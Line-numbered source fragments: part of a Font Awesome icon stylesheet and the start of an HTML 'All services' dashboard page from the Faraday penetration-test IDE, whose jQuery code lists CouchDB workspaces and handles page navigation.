552 .fa-cogs:before {
553 content: "\f085";
554 }
555 .fa-comments:before {
556 content: "\f086";
557 }
558 .fa-thumbs-o-up:before {
559 content: "\f087";
560 }
561 .fa-thumbs-o-down:before {
562 content: "\f088";
563 }
564 .fa-star-half:before {
565 content: "\f089";
566 }
567 .fa-heart-o:before {
568 content: "\f08a";
569 }
570 .fa-sign-out:before {
571 content: "\f08b";
572 }
573 .fa-linkedin-square:before {
574 content: "\f08c";
575 }
576 .fa-thumb-tack:before {
577 content: "\f08d";
578 }
579 .fa-external-link:before {
580 content: "\f08e";
581 }
582 .fa-sign-in:before {
583 content: "\f090";
584 }
585 .fa-trophy:before {
586 content: "\f091";
587 }
588 .fa-github-square:before {
589 content: "\f092";
590 }
591 .fa-upload:before {
592 content: "\f093";
593 }
594 .fa-lemon-o:before {
595 content: "\f094";
596 }
597 .fa-phone:before {
598 content: "\f095";
599 }
600 .fa-square-o:before {
601 content: "\f096";
602 }
603 .fa-bookmark-o:before {
604 content: "\f097";
605 }
606 .fa-phone-square:before {
607 content: "\f098";
608 }
609 .fa-twitter:before {
610 content: "\f099";
611 }
612 .fa-facebook:before {
613 content: "\f09a";
614 }
615 .fa-github:before {
616 content: "\f09b";
617 }
618 .fa-unlock:before {
619 content: "\f09c";
620 }
621 .fa-credit-card:before {
622 content: "\f09d";
623 }
624 .fa-rss:before {
625 content: "\f09e";
626 }
627 .fa-hdd-o:before {
628 content: "\f0a0";
629 }
630 .fa-bullhorn:before {
631 content: "\f0a1";
632 }
633 .fa-bell:before {
634 content: "\f0f3";
635 }
636 .fa-certificate:before {
637 content: "\f0a3";
638 }
639 .fa-hand-o-right:before {
640 content: "\f0a4";
641 }
642 .fa-hand-o-left:before {
643 content: "\f0a5";
644 }
645 .fa-hand-o-up:before {
646 content: "\f0a6";
647 }
648 .fa-hand-o-down:before {
649 content: "\f0a7";
650 }
651 .fa-arrow-circle-left:before {
652 content: "\f0a8";
653 }
654 .fa-arrow-circle-right:before {
655 content: "\f0a9";
656 }
657 .fa-arrow-circle-up:before {
658 content: "\f0aa";
659 }
660 .fa-arrow-circle-down:before {
661 content: "\f0ab";
662 }
663 .fa-globe:before {
664 content: "\f0ac";
665 }
666 .fa-wrench:before {
667 content: "\f0ad";
668 }
669 .fa-tasks:before {
670 content: "\f0ae";
671 }
672 .fa-filter:before {
673 content: "\f0b0";
674 }
675 .fa-briefcase:before {
676 content: "\f0b1";
677 }
678 .fa-arrows-alt:before {
679 content: "\f0b2";
680 }
681 .fa-group:before,
682 .fa-users:before {
683 content: "\f0c0";
684 }
685 .fa-chain:before,
686 .fa-link:before {
687 content: "\f0c1";
688 }
689 .fa-cloud:before {
690 content: "\f0c2";
691 }
692 .fa-flask:before {
693 content: "\f0c3";
694 }
695 .fa-cut:before,
696 .fa-scissors:before {
697 content: "\f0c4";
698 }
699 .fa-copy:before,
700 .fa-files-o:before {
701 content: "\f0c5";
702 }
703 .fa-paperclip:before {
704 content: "\f0c6";
705 }
706 .fa-save:before,
707 .fa-floppy-o:before {
708 content: "\f0c7";
709 }
710 .fa-square:before {
711 content: "\f0c8";
712 }
713 .fa-navicon:before,
714 .fa-reorder:before,
715 .fa-bars:before {
716 content: "\f0c9";
717 }
718 .fa-list-ul:before {
719 content: "\f0ca";
720 }
721 .fa-list-ol:before {
722 content: "\f0cb";
723 }
724 .fa-strikethrough:before {
725 content: "\f0cc";
726 }
727 .fa-underline:before {
728 content: "\f0cd";
729 }
730 .fa-table:before {
731 content: "\f0ce";
732 }
733 .fa-magic:before {
734 content: "\f0d0";
735 }
736 .fa-truck:before {
737 content: "\f0d1";
738 }
739 .fa-pinterest:before {
740 content: "\f0d2";
741 }
742 .fa-pinterest-square:before {
743 content: "\f0d3";
744 }
745 .fa-google-plus-square:before {
746 content: "\f0d4";
747 }
748 .fa-google-plus:before {
749 content: "\f0d5";
750 }
751 .fa-money:before {
752 content: "\f0d6";
753 }
754 .fa-caret-down:before {
755 content: "\f0d7";
756 }
757 .fa-caret-up:before {
758 content: "\f0d8";
759 }
760 .fa-caret-left:before {
761 content: "\f0d9";
762 }
763 .fa-caret-right:before {
764 content: "\f0da";
765 }
766 .fa-columns:before {
767 content: "\f0db";
768 }
769 .fa-unsorted:before,
770 .fa-sort:before {
771 content: "\f0dc";
772 }
773 .fa-sort-down:before,
774 .fa-sort-desc:before {
775 content: "\f0dd";
776 }
777 .fa-sort-up:before,
778 .fa-sort-asc:before {
779 content: "\f0de";
780 }
781 .fa-envelope:before {
782 content: "\f0e0";
783 }
784 .fa-linkedin:before {
785 content: "\f0e1";
786 }
787 .fa-rotate-left:before,
788 .fa-undo:before {
789 content: "\f0e2";
790 }
791 .fa-legal:before,
792 .fa-gavel:before {
793 content: "\f0e3";
794 }
795 .fa-dashboard:before,
796 .fa-tachometer:before {
797 content: "\f0e4";
798 }
799 .fa-comment-o:before {
800 content: "\f0e5";
801 }
802 .fa-comments-o:before {
803 content: "\f0e6";
804 }
805 .fa-flash:before,
806 .fa-bolt:before {
807 content: "\f0e7";
808 }
809 .fa-sitemap:before {
810 content: "\f0e8";
811 }
812 .fa-umbrella:before {
813 content: "\f0e9";
814 }
815 .fa-paste:before,
816 .fa-clipboard:before {
817 content: "\f0ea";
818 }
819 .fa-lightbulb-o:before {
820 content: "\f0eb";
821 }
822 .fa-exchange:before {
823 content: "\f0ec";
824 }
825 .fa-cloud-download:before {
826 content: "\f0ed";
827 }
828 .fa-cloud-upload:before {
829 content: "\f0ee";
830 }
831 .fa-user-md:before {
832 content: "\f0f0";
833 }
834 .fa-stethoscope:before {
835 content: "\f0f1";
836 }
837 .fa-suitcase:before {
838 content: "\f0f2";
839 }
840 .fa-bell-o:before {
841 content: "\f0a2";
842 }
843 .fa-coffee:before {
844 content: "\f0f4";
845 }
846 .fa-cutlery:before {
847 content: "\f0f5";
848 }
849 .fa-file-text-o:before {
850 content: "\f0f6";
851 }
852 .fa-building-o:before {
853 content: "\f0f7";
854 }
855 .fa-hospital-o:before {
856 content: "\f0f8";
857 }
858 .fa-ambulance:before {
859 content: "\f0f9";
860 }
861 .fa-medkit:before {
862 content: "\f0fa";
863 }
864 .fa-fighter-jet:before {
865 content: "\f0fb";
866 }
867 .fa-beer:before {
868 content: "\f0fc";
869 }
870 .fa-h-square:before {
871 content: "\f0fd";
872 }
873 .fa-plus-square:before {
874 content: "\f0fe";
875 }
876 .fa-angle-double-left:before {
877 content: "\f100";
878 }
879 .fa-angle-double-right:before {
880 content: "\f101";
881 }
882 .fa-angle-double-up:before {
883 content: "\f102";
884 }
885 .fa-angle-double-down:before {
886 content: "\f103";
887 }
888 .fa-angle-left:before {
889 content: "\f104";
890 }
891 .fa-angle-right:before {
892 content: "\f105";
893 }
894 .fa-angle-up:before {
895 content: "\f106";
896 }
897 .fa-angle-down:before {
898 content: "\f107";
899 }
900 .fa-desktop:before {
901 content: "\f108";
902 }
903 .fa-laptop:before {
904 content: "\f109";
905 }
906 .fa-tablet:before {
907 content: "\f10a";
908 }
909 .fa-mobile-phone:before,
910 .fa-mobile:before {
911 content: "\f10b";
912 }
913 .fa-circle-o:before {
914 content: "\f10c";
915 }
916 .fa-quote-left:before {
917 content: "\f10d";
918 }
919 .fa-quote-right:before {
920 content: "\f10e";
921 }
922 .fa-spinner:before {
923 content: "\f110";
924 }
925 .fa-circle:before {
926 content: "\f111";
927 }
928 .fa-mail-reply:before,
929 .fa-reply:before {
930 content: "\f112";
931 }
932 .fa-github-alt:before {
933 content: "\f113";
934 }
935 .fa-folder-o:before {
936 content: "\f114";
937 }
938 .fa-folder-open-o:before {
939 content: "\f115";
940 }
941 .fa-smile-o:before {
942 content: "\f118";
943 }
944 .fa-frown-o:before {
945 content: "\f119";
946 }
947 .fa-meh-o:before {
948 content: "\f11a";
949 }
950 .fa-gamepad:before {
951 content: "\f11b";
952 }
953 .fa-keyboard-o:before {
954 content: "\f11c";
955 }
956 .fa-flag-o:before {
957 content: "\f11d";
958 }
959 .fa-flag-checkered:before {
960 content: "\f11e";
961 }
962 .fa-terminal:before {
963 content: "\f120";
964 }
965 .fa-code:before {
966 content: "\f121";
967 }
968 .fa-mail-reply-all:before,
969 .fa-reply-all:before {
970 content: "\f122";
971 }
972 .fa-star-half-empty:before,
973 .fa-star-half-full:before,
974 .fa-star-half-o:before {
975 content: "\f123";
976 }
977 .fa-location-arrow:before {
978 content: "\f124";
979 }
980 .fa-crop:before {
981 content: "\f125";
982 }
983 .fa-code-fork:before {
984 content: "\f126";
985 }
986 .fa-unlink:before,
987 .fa-chain-broken:before {
988 content: "\f127";
989 }
990 .fa-question:before {
991 content: "\f128";
992 }
993 .fa-info:before {
994 content: "\f129";
995 }
996 .fa-exclamation:before {
997 content: "\f12a";
998 }
999 .fa-superscript:before {
1000 content: "\f12b";
1001 }
1002 .fa-subscript:before {
1003 content: "\f12c";
1004 }
1005 .fa-eraser:before {
1006 content: "\f12d";
1007 }
1008 .fa-puzzle-piece:before {
1009 content: "\f12e";
1010 }
1011 .fa-microphone:before {
1012 content: "\f130";
1013 }
1014 .fa-microphone-slash:before {
1015 content: "\f131";
1016 }
1017 .fa-shield:before {
1018 content: "\f132";
1019 }
1020 .fa-calendar-o:before {
1021 content: "\f133";
1022 }
1023 .fa-fire-extinguisher:before {
1024 content: "\f134";
1025 }
1026 .fa-rocket:before {
1027 content: "\f135";
1028 }
1029 .fa-maxcdn:before {
1030 content: "\f136";
1031 }
1032 .fa-chevron-circle-left:before {
1033 content: "\f137";
1034 }
1035 .fa-chevron-circle-right:before {
1036 content: "\f138";
1037 }
1038 .fa-chevron-circle-up:before {
1039 content: "\f139";
1040 }
1041 .fa-chevron-circle-down:before {
1042 content: "\f13a";
1043 }
1044 .fa-html5:before {
1045 content: "\f13b";
1046 }
1047 .fa-css3:before {
1048 content: "\f13c";
1049 }
1050 .fa-anchor:before {
1051 content: "\f13d";
1052 }
1053 .fa-unlock-alt:before {
1054 content: "\f13e";
1055 }
1056 .fa-bullseye:before {
1057 content: "\f140";
1058 }
1059 .fa-ellipsis-h:before {
1060 content: "\f141";
1061 }
1062 .fa-ellipsis-v:before {
1063 content: "\f142";
1064 }
1065 .fa-rss-square:before {
1066 content: "\f143";
1067 }
1068 .fa-play-circle:before {
1069 content: "\f144";
1070 }
1071 .fa-ticket:before {
1072 content: "\f145";
1073 }
1074 .fa-minus-square:before {
1075 content: "\f146";
1076 }
1077 .fa-minus-square-o:before {
1078 content: "\f147";
1079 }
1080 .fa-level-up:before {
1081 content: "\f148";
1082 }
1083 .fa-level-down:before {
1084 content: "\f149";
1085 }
1086 .fa-check-square:before {
1087 content: "\f14a";
1088 }
1089 .fa-pencil-square:before {
1090 content: "\f14b";
1091 }
1092 .fa-external-link-square:before {
1093 content: "\f14c";
1094 }
1095 .fa-share-square:before {
1096 content: "\f14d";
1097 }
1098 .fa-compass:before {
1099 content: "\f14e";
1100 }
1101 .fa-toggle-down:before,
1102 .fa-caret-square-o-down:before {
1103 content: "\f150";
1104 }
1105 .fa-toggle-up:before,
1106 .fa-caret-square-o-up:before {
1107 content: "\f151";
1108 }
1109 .fa-toggle-right:before,
1110 .fa-caret-square-o-right:before {
1111 content: "\f152";
1112 }
1113 .fa-euro:before,
1114 .fa-eur:before {
1115 content: "\f153";
1116 }
1117 .fa-gbp:before {
1118 content: "\f154";
1119 }
1120 .fa-dollar:before,
1121 .fa-usd:before {
1122 content: "\f155";
1123 }
1124 .fa-rupee:before,
1125 .fa-inr:before {
1126 content: "\f156";
1127 }
1128 .fa-cny:before,
1129 .fa-rmb:before,
1130 .fa-yen:before,
1131 .fa-jpy:before {
1132 content: "\f157";
1133 }
1134 .fa-ruble:before,
1135 .fa-rouble:before,
1136 .fa-rub:before {
1137 content: "\f158";
1138 }
1139 .fa-won:before,
1140 .fa-krw:before {
1141 content: "\f159";
1142 }
1143 .fa-bitcoin:before,
1144 .fa-btc:before {
1145 content: "\f15a";
1146 }
1147 .fa-file:before {
1148 content: "\f15b";
1149 }
1150 .fa-file-text:before {
1151 content: "\f15c";
1152 }
1153 .fa-sort-alpha-asc:before {
1154 content: "\f15d";
1155 }
1156 .fa-sort-alpha-desc:before {
1157 content: "\f15e";
1158 }
1159 .fa-sort-amount-asc:before {
1160 content: "\f160";
1161 }
1162 .fa-sort-amount-desc:before {
1163 content: "\f161";
1164 }
1165 .fa-sort-numeric-asc:before {
1166 content: "\f162";
1167 }
1168 .fa-sort-numeric-desc:before {
1169 content: "\f163";
1170 }
1171 .fa-thumbs-up:before {
1172 content: "\f164";
1173 }
1174 .fa-thumbs-down:before {
1175 content: "\f165";
1176 }
1177 .fa-youtube-square:before {
1178 content: "\f166";
1179 }
1180 .fa-youtube:before {
1181 content: "\f167";
1182 }
1183 .fa-xing:before {
1184 content: "\f168";
1185 }
1186 .fa-xing-square:before {
1187 content: "\f169";
1188 }
1189 .fa-youtube-play:before {
1190 content: "\f16a";
1191 }
1192 .fa-dropbox:before {
1193 content: "\f16b";
1194 }
1195 .fa-stack-overflow:before {
1196 content: "\f16c";
1197 }
1198 .fa-instagram:before {
1199 content: "\f16d";
1200 }
1201 .fa-flickr:before {
1202 content: "\f16e";
1203 }
1204 .fa-adn:before {
1205 content: "\f170";
1206 }
1207 .fa-bitbucket:before {
1208 content: "\f171";
1209 }
1210 .fa-bitbucket-square:before {
1211 content: "\f172";
1212 }
1213 .fa-tumblr:before {
1214 content: "\f173";
1215 }
1216 .fa-tumblr-square:before {
1217 content: "\f174";
1218 }
1219 .fa-long-arrow-down:before {
1220 content: "\f175";
1221 }
1222 .fa-long-arrow-up:before {
1223 content: "\f176";
1224 }
1225 .fa-long-arrow-left:before {
1226 content: "\f177";
1227 }
1228 .fa-long-arrow-right:before {
1229 content: "\f178";
1230 }
1231 .fa-apple:before {
1232 content: "\f179";
1233 }
1234 .fa-windows:before {
1235 content: "\f17a";
1236 }
1237 .fa-android:before {
1238 content: "\f17b";
1239 }
1240 .fa-linux:before {
1241 content: "\f17c";
1242 }
1243 .fa-dribbble:before {
1244 content: "\f17d";
1245 }
1246 .fa-skype:before {
1247 content: "\f17e";
1248 }
1249 .fa-foursquare:before {
1250 content: "\f180";
1251 }
1252 .fa-trello:before {
1253 content: "\f181";
1254 }
1255 .fa-female:before {
1256 content: "\f182";
1257 }
1258 .fa-male:before {
1259 content: "\f183";
1260 }
1261 .fa-gittip:before {
1262 content: "\f184";
1263 }
1264 .fa-sun-o:before {
1265 content: "\f185";
1266 }
1267 .fa-moon-o:before {
1268 content: "\f186";
1269 }
1270 .fa-archive:before {
1271 content: "\f187";
1272 }
1273 .fa-bug:before {
1274 content: "\f188";
1275 }
1276 .fa-vk:before {
1277 content: "\f189";
1278 }
1279 .fa-weibo:before {
1280 content: "\f18a";
1281 }
1282 .fa-renren:before {
1283 content: "\f18b";
1284 }
1285 .fa-pagelines:before {
1286 content: "\f18c";
1287 }
1288 .fa-stack-exchange:before {
1289 content: "\f18d";
1290 }
1291 .fa-arrow-circle-o-right:before {
1292 content: "\f18e";
1293 }
1294 .fa-arrow-circle-o-left:before {
1295 content: "\f190";
1296 }
1297 .fa-toggle-left:before,
1298 .fa-caret-square-o-left:before {
1299 content: "\f191";
1300 }
1301 .fa-dot-circle-o:before {
1302 content: "\f192";
1303 }
1304 .fa-wheelchair:before {
1305 content: "\f193";
1306 }
1307 .fa-vimeo-square:before {
1308 content: "\f194";
1309 }
1310 .fa-turkish-lira:before,
1311 .fa-try:before {
1312 content: "\f195";
1313 }
1314 .fa-plus-square-o:before {
1315 content: "\f196";
1316 }
1317 .fa-space-shuttle:before {
1318 content: "\f197";
1319 }
1320 .fa-slack:before {
1321 content: "\f198";
1322 }
1323 .fa-envelope-square:before {
1324 content: "\f199";
1325 }
1326 .fa-wordpress:before {
1327 content: "\f19a";
1328 }
1329 .fa-openid:before {
1330 content: "\f19b";
1331 }
1332 .fa-institution:before,
1333 .fa-bank:before,
1334 .fa-university:before {
1335 content: "\f19c";
1336 }
1337 .fa-mortar-board:before,
1338 .fa-graduation-cap:before {
1339 content: "\f19d";
1340 }
1341 .fa-yahoo:before {
1342 content: "\f19e";
1343 }
1344 .fa-google:before {
1345 content: "\f1a0";
1346 }
1347 .fa-reddit:before {
1348 content: "\f1a1";
1349 }
1350 .fa-reddit-square:before {
1351 content: "\f1a2";
1352 }
1353 .fa-stumbleupon-circle:before {
1354 content: "\f1a3";
1355 }
1356 .fa-stumbleupon:before {
1357 content: "\f1a4";
1358 }
1359 .fa-delicious:before {
1360 content: "\f1a5";
1361 }
1362 .fa-digg:before {
1363 content: "\f1a6";
1364 }
1365 .fa-pied-piper:before {
1366 content: "\f1a7";
1367 }
1368 .fa-pied-piper-alt:before {
1369 content: "\f1a8";
1370 }
1371 .fa-drupal:before {
1372 content: "\f1a9";
1373 }
1374 .fa-joomla:before {
1375 content: "\f1aa";
1376 }
1377 .fa-language:before {
1378 content: "\f1ab";
1379 }
1380 .fa-fax:before {
1381 content: "\f1ac";
1382 }
1383 .fa-building:before {
1384 content: "\f1ad";
1385 }
1386 .fa-child:before {
1387 content: "\f1ae";
1388 }
1389 .fa-paw:before {
1390 content: "\f1b0";
1391 }
1392 .fa-spoon:before {
1393 content: "\f1b1";
1394 }
1395 .fa-cube:before {
1396 content: "\f1b2";
1397 }
1398 .fa-cubes:before {
1399 content: "\f1b3";
1400 }
1401 .fa-behance:before {
1402 content: "\f1b4";
1403 }
1404 .fa-behance-square:before {
1405 content: "\f1b5";
1406 }
1407 .fa-steam:before {
1408 content: "\f1b6";
1409 }
1410 .fa-steam-square:before {
1411 content: "\f1b7";
1412 }
1413 .fa-recycle:before {
1414 content: "\f1b8";
1415 }
1416 .fa-automobile:before,
1417 .fa-car:before {
1418 content: "\f1b9";
1419 }
1420 .fa-cab:before,
1421 .fa-taxi:before {
1422 content: "\f1ba";
1423 }
1424 .fa-tree:before {
1425 content: "\f1bb";
1426 }
1427 .fa-spotify:before {
1428 content: "\f1bc";
1429 }
1430 .fa-deviantart:before {
1431 content: "\f1bd";
1432 }
1433 .fa-soundcloud:before {
1434 content: "\f1be";
1435 }
1436 .fa-database:before {
1437 content: "\f1c0";
1438 }
1439 .fa-file-pdf-o:before {
1440 content: "\f1c1";
1441 }
1442 .fa-file-word-o:before {
1443 content: "\f1c2";
1444 }
1445 .fa-file-excel-o:before {
1446 content: "\f1c3";
1447 }
1448 .fa-file-powerpoint-o:before {
1449 content: "\f1c4";
1450 }
1451 .fa-file-photo-o:before,
1452 .fa-file-picture-o:before,
1453 .fa-file-image-o:before {
1454 content: "\f1c5";
1455 }
1456 .fa-file-zip-o:before,
1457 .fa-file-archive-o:before {
1458 content: "\f1c6";
1459 }
1460 .fa-file-sound-o:before,
1461 .fa-file-audio-o:before {
1462 content: "\f1c7";
1463 }
1464 .fa-file-movie-o:before,
1465 .fa-file-video-o:before {
1466 content: "\f1c8";
1467 }
1468 .fa-file-code-o:before {
1469 content: "\f1c9";
1470 }
1471 .fa-vine:before {
1472 content: "\f1ca";
1473 }
1474 .fa-codepen:before {
1475 content: "\f1cb";
1476 }
1477 .fa-jsfiddle:before {
1478 content: "\f1cc";
1479 }
1480 .fa-life-bouy:before,
1481 .fa-life-buoy:before,
1482 .fa-life-saver:before,
1483 .fa-support:before,
1484 .fa-life-ring:before {
1485 content: "\f1cd";
1486 }
1487 .fa-circle-o-notch:before {
1488 content: "\f1ce";
1489 }
1490 .fa-ra:before,
1491 .fa-rebel:before {
1492 content: "\f1d0";
1493 }
1494 .fa-ge:before,
1495 .fa-empire:before {
1496 content: "\f1d1";
1497 }
1498 .fa-git-square:before {
1499 content: "\f1d2";
1500 }
1501 .fa-git:before {
1502 content: "\f1d3";
1503 }
1504 .fa-hacker-news:before {
1505 content: "\f1d4";
1506 }
1507 .fa-tencent-weibo:before {
1508 content: "\f1d5";
1509 }
1510 .fa-qq:before {
1511 content: "\f1d6";
1512 }
1513 .fa-wechat:before,
1514 .fa-weixin:before {
1515 content: "\f1d7";
1516 }
1517 .fa-send:before,
1518 .fa-paper-plane:before {
1519 content: "\f1d8";
1520 }
1521 .fa-send-o:before,
1522 .fa-paper-plane-o:before {
1523 content: "\f1d9";
1524 }
1525 .fa-history:before {
1526 content: "\f1da";
1527 }
1528 .fa-circle-thin:before {
1529 content: "\f1db";
1530 }
1531 .fa-header:before {
1532 content: "\f1dc";
1533 }
1534 .fa-paragraph:before {
1535 content: "\f1dd";
1536 }
1537 .fa-sliders:before {
1538 content: "\f1de";
1539 }
1540 .fa-share-alt:before {
1541 content: "\f1e0";
1542 }
1543 .fa-share-alt-square:before {
1544 content: "\f1e1";
1545 }
1546 .fa-bomb:before {
1547 content: "\f1e2";
1548 }
1549 .fa-soccer-ball-o:before,
1550 .fa-futbol-o:before {
1551 content: "\f1e3";
1552 }
1553 .fa-tty:before {
1554 content: "\f1e4";
1555 }
1556 .fa-binoculars:before {
1557 content: "\f1e5";
1558 }
1559 .fa-plug:before {
1560 content: "\f1e6";
1561 }
1562 .fa-slideshare:before {
1563 content: "\f1e7";
1564 }
1565 .fa-twitch:before {
1566 content: "\f1e8";
1567 }
1568 .fa-yelp:before {
1569 content: "\f1e9";
1570 }
1571 .fa-newspaper-o:before {
1572 content: "\f1ea";
1573 }
1574 .fa-wifi:before {
1575 content: "\f1eb";
1576 }
1577 .fa-calculator:before {
1578 content: "\f1ec";
1579 }
1580 .fa-paypal:before {
1581 content: "\f1ed";
1582 }
1583 .fa-google-wallet:before {
1584 content: "\f1ee";
1585 }
1586 .fa-cc-visa:before {
1587 content: "\f1f0";
1588 }
1589 .fa-cc-mastercard:before {
1590 content: "\f1f1";
1591 }
1592 .fa-cc-discover:before {
1593 content: "\f1f2";
1594 }
1595 .fa-cc-amex:before {
1596 content: "\f1f3";
1597 }
1598 .fa-cc-paypal:before {
1599 content: "\f1f4";
1600 }
1601 .fa-cc-stripe:before {
1602 content: "\f1f5";
1603 }
1604 .fa-bell-slash:before {
1605 content: "\f1f6";
1606 }
1607 .fa-bell-slash-o:before {
1608 content: "\f1f7";
1609 }
1610 .fa-trash:before {
1611 content: "\f1f8";
1612 }
1613 .fa-copyright:before {
1614 content: "\f1f9";
1615 }
1616 .fa-at:before {
1617 content: "\f1fa";
1618 }
1619 .fa-eyedropper:before {
1620 content: "\f1fb";
1621 }
1622 .fa-paint-brush:before {
1623 content: "\f1fc";
1624 }
1625 .fa-birthday-cake:before {
1626 content: "\f1fd";
1627 }
1628 .fa-area-chart:before {
1629 content: "\f1fe";
1630 }
1631 .fa-pie-chart:before {
1632 content: "\f200";
1633 }
1634 .fa-line-chart:before {
1635 content: "\f201";
1636 }
1637 .fa-lastfm:before {
1638 content: "\f202";
1639 }
1640 .fa-lastfm-square:before {
1641 content: "\f203";
1642 }
1643 .fa-toggle-off:before {
1644 content: "\f204";
1645 }
1646 .fa-toggle-on:before {
1647 content: "\f205";
1648 }
1649 .fa-bicycle:before {
1650 content: "\f206";
1651 }
1652 .fa-bus:before {
1653 content: "\f207";
1654 }
1655 .fa-ioxhost:before {
1656 content: "\f208";
1657 }
1658 .fa-angellist:before {
1659 content: "\f209";
1660 }
1661 .fa-cc:before {
1662 content: "\f20a";
1663 }
1664 .fa-shekel:before,
1665 .fa-sheqel:before,
1666 .fa-ils:before {
1667 content: "\f20b";
1668 }
1669 .fa-meanpath:before {
1670 content: "\f20c";
1671 }
0 <!-- Faraday Penetration Test IDE &#45; Community Version -->
1 <!-- Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/) -->
2 <!-- See the file 'doc/LICENSE' for the license information -->
3 <!DOCTYPE html>
4 <!--[if lt IE 7 ]> <html lang="en" class="no-js ie6"> <![endif]-->
5 <!--[if IE 7 ]> <html lang="en" class="no-js ie7"> <![endif]-->
6 <!--[if IE 8 ]> <html lang="en" class="no-js ie8"> <![endif]-->
7 <!--[if IE 9 ]> <html lang="en" class="no-js ie9"> <![endif]-->
8 <!--[if (gt IE 9)|!(IE)]><!-->
9 <html id="no-overflow" lang="en" class="no-js"> <!--<![endif]-->
10 <head>
11 <meta charset="utf-8"/>
12 <!--[if IE]><![endif]-->
13 <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"/>
14 <title>All services | Faraday</title>
15 <meta name="description" content=""/>
16 <meta name="keywords" content=""/>
17 <meta name="author" content=""/>
18
19 <!-- !CSS -->
20 <link rel="stylesheet" type="text/css" href="estilos.css" />
21 <link rel="stylesheet" type="text/css" href="script/jquery.qtip.css" />
22 <link rel="stylesheet" href="././././script/bootstrap.min.css">
23 <link rel="stylesheet" href="././././script/bootstrap-theme.min.css">
24 <link href="favicon.ico" rel="shortcut icon">
25 <link href="favicon.ico" type="image/vnd.microsoft.icon" rel="icon" />
26 <link href="images/site_preview.jpg" rel="image_src" />
27
28 <script src="./././script/d3.min.js"></script>
29 <script type="text/javascript" src="script/couch.js"></script>
30 <script src="script/common.js"></script>
31 <script type="text/javascript" src="/_utils/script/sha1.js"></script>
32 <script type="text/javascript" src="script/app.js"></script>
33 <script type="text/javascript" src="script/d3_summarized.js"></script>
34 <script type="text/javascript" src="script/reports_list.js"></script>
35 <script type="text/javascript" src="/_utils/script/json2.js"></script>
36 <script type="text/javascript" src="/_utils/script/jquery.js"></script>
37 <script type="text/javascript" src="/_utils/script/jquery.couch.js"></script>
38 <script type="text/javascript" src="script/jquery.tablesorter.min.js"></script>
39 <script src="././././script/bootstrap.min.js"></script>
40 <script src="script/jquery.qtip.min.js"></script>
41 </head>
42
43 <body>
44 <div id="cont">
45 <div class="wrapper">
46 <header class="head">
47 <a href="#" class="ws-dashboard"><img class="logo" src="images/logo-faraday.png" alt="Faraday home | WS Dashboard"/></a>
48 <!--
49 <nav>
50 <ul class="menu">
51 <li>
52 <a href="#">Opción 1</a>
53 </li>
54 <li>
55 <a href="#">Opción 1</a>
56 </li>
57 <li>
58 <a href="#" class="activo">Username</a>
59 <ul>
60 <li><a href="#">Sub opción 1</a></li>
61 <li><a href="#">Sub opción 2</a></li>
62 </ul>
63 </li>
64 </ul>
65 </nav>
66 -->
67 </header>
68
69 <section id="main" class="seccion clearfix">
70 <aside>
71 <nav class="left-nav">
72 <ul>
73 <li>
74 <a href="#" class="ws-dashboard" style="color: #ffffff !important" title="WS Dashboard">
75 <img src="images/ico-graph.png" alt="WS Dashboard"/>
76 </a>
77 </li>
78 <li>
79 <a href="#" class="status-report" style="color: #ffffff !important" title="Status Report">
80 <h2><span class="glyphicon glyphicon-list" title="Status Report"></span></h2>
81 </a>
82 </li>
83 </ul>
84 </nav>
85 </aside>
86
87 <div class="right-main">
88 <div id="reports-main" class="fila clearfix">
89 <h2 class="ws-label">
90 <span id="ws-name" class="label label-default" title="Current workspace"></span><!-- WS name -->
91
92 <div id="ws-control" class="btn-group">
93 <button id="refresh" type="button" class="btn btn-danger" title="Refresh current workspace">
94 <span class="glyphicon glyphicon-refresh"></span>
95 </button>
96 <button type="button" class="btn btn-danger dropdown-toggle" data-toggle="dropdown" title="Change current workspace">
97 Change workspace <span class="caret"></span>
98 </button>
99 <ul id="nav" class="dropdown-menu dropdown-menu-right" role="menu"></ul><!-- WS navigation -->
100 </div><!-- #ws-control -->
101 </h2><!-- .ws-label -->
102 </div><!-- #reports-main -->
103 <div class="seccion treemap">
104 <article id="chart">
105 <header>
106 <h2>All Services
107 <span class="glyphicon glyphicon-info-sign faraday-qtips" title="All services ordered by host amount"></span>
108 </h2>
109 </header>
110 </article>
111 </div>
112 </div><!-- .right-main -->
113 </section><!-- #main -->
114 </div><!--!/#wrapper -->
115 </div><!--!/#container -->
116 <script type="text/javascript">
117 $(document).ready(function() {
118 var counter = 0;
119 var h = 0;
120 $.couch.allDbs({
121 success : function(dbs) {
122
123 dbs.filter(function(db_name){
124 return db_name.search(/^_/) < 0 && db_name.search("reports") < 0;})
125 .forEach(function(db) {
126 // WSs list
127 $("#ws-control #nav").append('<li><a href="#'+db+'" class="ws" >'+db+'</a></li>');
128 // navigation between WSs
129
130 counter +=1;
131 });
132 if(counter < 1) {
133 $("#reports-main").empty();
134 $("#reports-main").append("<div id=\"no-workspace\" class=\"workspace\">No Workspaces installed, please start working to get some data</div><!-- .workspace -->");
135 }
136 }
137 });
138 //get workspace
139 dominio = location.href;
140 space = dominio.split("#");
141 workspace = space[1];
142
143 var navegador = navigator.userAgent;
144 if (navigator.userAgent.indexOf('MSIE') !=-1) {
145 $("#main.seccion").height(screen.height);
146 } else if (navigator.userAgent.indexOf('Firefox') !=-1) {
147 $("#main.seccion").height(screen.height - 5);
148 } else if (navigator.userAgent.indexOf('Chromium') !=-1) {
149 $("#main.seccion").height(screen.height);
150 } else if (navigator.userAgent.indexOf('Chrome') !=-1) {
151 $("#main.seccion").height(screen.height);
152 } else if (navigator.userAgent.indexOf('Opera') !=-1) {
153 $("#main.seccion").height(screen.height);
154 }
155
156 // navegacion entre WSs en el dropdown
157 $(document).on("click", "a.ws", function(e) {
158 e.preventDefault();
159 var hash = $(this).attr("href").substr(1);
160 var pathname = window.location.pathname;
161 var params = "?workspace="+ hash + "&design=hosts&view=byservices";
162 window.location.href = pathname + params + "#" + hash;
163 });
164 $(document).on("click", "#refresh", function() {
165 location.reload();
166 });
167 $(document).on("click", "a.ws-dashboard", function(e) {
168 e.preventDefault();
169 var url = "../././reports/index.html#" + workspace;
170 window.location.href = url;
171 });
172 $(document).on("click", "a.status-report", function(e) {
173 e.preventDefault();
174 var url = "../././reports/faraday.html#/status/ws/" + workspace;
175 window.location.href = url;
176 });
177
178 var ret = "Viewing "+ workspace;
179 $('#reports-main .ws-label span#ws-name').text(ret);
180 });
181 </script>
182 <style>
183 .node {
184 border: solid 1px white;
185 font: 13px Ubuntu;
186 line-height: 12px;
